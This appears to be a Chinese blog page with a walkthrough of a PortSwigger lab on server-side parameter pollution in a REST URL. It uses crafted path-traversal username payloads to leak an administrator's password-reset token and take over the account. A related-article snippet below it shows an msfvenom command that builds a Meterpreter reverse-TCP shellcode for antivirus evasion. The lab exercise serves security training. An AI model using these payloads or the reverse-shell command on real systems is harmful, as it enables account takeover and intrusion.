当前位置: 首页 > news >正文

阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染

所需知识

要解决这个实验室问题,您需要了解以下内容:

  • 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。
  • 如何使用路径遍历序列尝试更改服务器端请求。
  • 如何查找 API 文档。

这些内容在我们的 API 测试学院主题中有涵盖。

进入实验室

研究行为

1、 在 Burp Suite 的浏览器中,触发管理员(administrator)用户的密码重置。

2、 在 Proxy > HTTP history 中,注意到 POST /forgot-password 请求和相关的 /static/js/forgotPassword.js JavaScript 文件。

3、 右键点击 POST /forgot-password 请求,并选择发送到 Repeater。

4、 在 Repeater 标签页中,重新发送请求以确认响应是一致的。

5、 发送各种修改过的 username 参数值的请求,以确定输入是否被放置在服务器端请求的 URL 路径中而没有进行转义:

  1. 将 URL 编码的 administrator# 作为 username 参数的值提交。注意到返回一个 Invalid route 错误消息。这表明服务器可能将输入放置在了服务器端请求的路径中,并且片段截断了一些尾随数据。观察到消息还提到了一个 API 定义。

        2. 将 username 参数的值从 administrator%23 改为 URL 编码的 administrator?,然后发送请求。注意到这同样返回一个 Invalid route 错误消息。这表明输入可能被放置在了 URL 路径中,因为 ? 字符指示查询字符串的开始,因此截断了 URL 路径。

        3. 将 username 参数的值从 administrator%3F 改为 ./administrator,然后发送请求。注意到这返回了原始响应。这表明请求可能访问了与原始请求相同的 URL 路径。这进一步表明输入可能被放置在了 URL 路径中。

        4. 将 username 参数的值从 ./administrator 改为 ../administrator,然后发送请求。注意到这返回一个 Invalid route 错误消息。这表明请求可能访问了一个无效的 URL 路径。

导航到 API 定义

1、 将 username 参数的值从 ../administrator 改为 ../%23。注意到返回一个 Invalid route 响应。

2、 逐步增加更多的 ../ 序列,直到达到 ../../../../%23。注意到返回一个 Not found 响应。这表明您已经导航到 API 根目录之外。

3、 在这个级别上,向 URL 路径添加一些常见的 API 定义文件名。例如,提交以下内容:

username=../../../../openapi.json%23

注意到返回一个错误消息,其中包含如下用于查找用户的 API 端点:

/api/internal/v1/users/{username}/field/{field}

利用这个漏洞

1、 更新 username 参数的值,使用已识别的端点结构。为 field 参数添加一个无效值(例如:usernmae,password,id,uid,sid,eamil,token):

username=administrator/field/foo%23

发送请求。注意到返回一个错误消息,因为 API 只支持 email 字段。

2、 将 email 作为 field 参数的值:

username=administrator/field/email%23

发送请求。注意到返回了原始响应(响应包中可以获得添加的参数值,且返回值 200)。这可能表明服务器端应用程序识别了注入的 field 参数,并且 email 是一个有效的字段类型。

3、 在 Proxy > HTTP history 中,查看 /static/js/forgotPassword.js JavaScript 文件。识别密码重置端点,它引用了 passwordResetToken 参数:

###访问路径###
###也是从json中判断可能存在该功能###
/forgot-password?passwordResetToken=${resetToken}

4、 在 Repeater 标签页中,将 field 参数的值从 email 改为 passwordResetToken:

username=administrator/field/passwordResetToken%23

发送请求。注意到返回一个错误消息,因为密码重置端点不支持 passwordResetToken 参数。

5、 使用之前识别的 /api/ 端点,将 API 版本改为 username 参数的值:

该实验默认一直 API v1 的目录结构

如果不能遍历路径,不能文件读取,该方法不适用

username=../../v1/users/administrator/field/passwordResetToken%23

发送请求。注意到返回一个密码重置令牌,请记下这个令牌。

6、 在 Burp Suite 的浏览器中,输入密码重置端点地址栏。将您的密码重置令牌添加为 reset_token 参数的值。例如:

/forgot-password?passwordResetToken=aa3eqz8ug2igm3zq4quplq13g0jmwae3
###拼接链接###
https://0a030035031db30981807ace007900da.web-security-academy.net/forgot-password?passwordResetToken=aa3eqz8ug2igm3zq4quplq13g0jmwae3

7、 设置一个新密码。

8、 使用您的新密码以管理员身份登录。

9、 转到管理员面板,并删除 carlos 以解决实验室问题。

相关文章:

阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染

所需知识 要解决这个实验室问题,您需要了解以下内容: 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。如何使用路径遍历序列尝试更改服务器端请求。如何查找 API 文档。 这些内容在我们的 API 测试学院主题中有涵盖。 进入实验室 研…...

[游戏开发] LuaTable转string存读二进制文件

UE5和Unity通用此方案,只不过读写文件的接口略有不同,lua代码的处理是相同的。 下面两个方法是 LuaTable和字符串互相转换的代码 function XUtils.luaTableToString(tab, sp)sp sp or ""local s ""for k,v in pairs(tab) doif t…...

光伏业务管理系统的一些妙用功能

现在信息化流程化基本上每个行业都必须要有的了,光伏业务管理系统软件是一种专门用于光伏产业运营和管理的综合性系统,它结合了信息技术、数据分析、项目管理、客户管理等多个领域的知识,为光伏企业提供了一个全面、高效、智能的管理平台&…...

Java面试八股之请简述消息队列的发布订阅模式

请简述消息队列的发布订阅模式 发布订阅(Publish-Subscribe,简称 Pub/Sub)模型是一种消息传递模式,它在组件之间提供了高度的解耦和灵活性。这种模式广泛应用于分布式系统、事件驱动架构以及消息队列系统中。下面是发布订阅模型的…...

七、2 ADC数模转换器有关函数介绍(Keil5)

函数介绍 (1)ADCCLK的配置函数(在rcc.h中) (2)ADC的库函数(在adc.h中)...

了解载波侦听多路访问CSMA(上)

1.CSMA的思想 CSMA的全称是Carrier Sense Multiple Access,在笔者的理解中,其更趋向于一种理论研究的随机接入协议,或者说,基于其思想诞生了比如CSMA/CD与CSMA/CA这样的具体协议。CSMA可以分成以下三种: 1-persistent…...

开启教育新征程:“集师” 知识付费平台搭建

在教育培训行业竞争日益激烈的今天,如何脱颖而出,实现知识的最大价值?答案就在 “集师” 知识付费平台搭建! “集师” 为您打造专属的知识付费平台,提供一站式解决方案。无论您是专注于学科教育、艺术培训还是职业技能…...

Vue3 + Electron 创建新的子窗口 且子窗口唯一

main.js const { app, BrowserWindow, ipcMain } require(electron) ...ipcMain.on(window-create, () > {createChildWindow() })let childWindow nullconst createChildWindow () > {// 如果窗口存在 先销毁if (childWindow) {childWindow.destroy()childWindow n…...

海康VisionMaster使用学习笔记2-相机取图及参数设置

相机取图及参数设置 1. 关联相机-相机管理界面 除了以上两类外,第三方相机都可以通过全局相机进行连接 2. 相机参数设置 相机连接 跨网段IP,枚举 图像缓存数量 实时取流,断线重连 只有支持组播的相机才可以实时取流 触发设置 触发源 LINE0 可以保护电路 LINE2 可配置输入输出…...

【网络】【Linux】Linux内核中连接的组织形式与全连接队列

Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列?3.2全连接队列的长度 1.前言 TCP是面向连接的,TCP的各种可靠性机制实际都不…...

记录一次 npm ERR! cb() never called! 解决过程

gitlab cicd过程,使用docker部署Vue3前端项目,报错如下: 针对 npm ERR! cb() never called! 这个报错,网上有很多解决方案,大都是清空缓存,重新运行npm 之类的。笔者全都试过,无法解决问题。笔者…...

WEB渗透免杀篇-加载器免杀

SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...

什么是反人性设计?

目录 一、什么是人性? 二、什么是反人性设计? 三、有哪些反人性设计? 一、什么是人性? 人性,通常指的是人类共有的基本特质和行为倾向,它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...

如何进行长截图的两种方法

前言 本文主要讲2种截图方式,分别是谷歌和QQ。 谷歌分为Web端 和 移动端,选一种即可。 第一种:谷歌浏览器控制台自带的 1.先把控制台语言更改为中文,方便查看 ①.按F12,点击设置面板 ②.修改语言为中文并关闭 ③.点击…...

基于轨迹的汽车跟随系统横向控制方法

A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...

2024年8月15日嵌入式学习

今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程,当一个线程收到取消的申请时,他不会立即停止,而是在下一个取消点处结束运行,取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...

C++引用和指针的区别还分不清楚?

不像其他语言,c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌,给你画个表格协助判断。 总体上,我们可以总结为以下五个区别: 一、定义方式: 指针通过使用 * 来定义,例如&#xff1…...

【Cesium开发实战】相机捕捉功能,获取当前视图,设定分辨率可下载当前视图图片

Cesium有很多很强大的功能,可以在地球上实现很多炫酷的3D效果。今天给大家分享一个相机捕捉功能,支持可以按照设定的分辨率下载当前视角的缩略图。 1.话不多说,先展示 相机快照 2.设计思路 根据项目需求要求,点击快照捕捉按钮可截取当前视角视图为缩略图,并弹框可输入视…...

基于spring boot的疫情信息管理系统

TOC springboot255基于spring boot的疫情信息管理系统 绪论 1.1研究背景与意义 信息化管理模式是将行业中的工作流程由人工服务,逐渐转换为使用计算机技术的信息化管理服务。这种管理模式发展迅速,使用起来非常简单容易,用户甚至不用掌握…...

【秋招笔试】8.11大疆秋招(第二套)-测开岗

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻

在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能,包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务

通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...

Qt Http Server模块功能及架构

Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...

Python如何给视频添加音频和字幕

在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学?传统医学奠基期(远古 - 17 世纪)近代医学转型期(17 世纪 - 19 世纪末)​现代医学成熟期(20世纪至今) 中医的源远流长和一脉相承远古至…...

vulnyx Blogger writeup

信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...

淘宝扭蛋机小程序系统开发:打造互动性强的购物平台

淘宝扭蛋机小程序系统的开发,旨在打造一个互动性强的购物平台,让用户在购物的同时,能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机,实现旋转、抽拉等动作,增…...

DBLP数据库是什么?

DBLP(Digital Bibliography & Library Project)Computer Science Bibliography是全球著名的计算机科学出版物的开放书目数据库。DBLP所收录的期刊和会议论文质量较高,数据库文献更新速度很快,很好地反映了国际计算机科学学术研…...

《信号与系统》第 6 章 信号与系统的时域和频域特性

目录 6.0 引言 6.1 傅里叶变换的模和相位表示 6.2 线性时不变系统频率响应的模和相位表示 6.2.1 线性与非线性相位 6.2.2 群时延 6.2.3 对数模和相位图 6.3 理想频率选择性滤波器的时域特性 6.4 非理想滤波器的时域和频域特性讨论 6.5 一阶与二阶连续时间系统 6.5.1 …...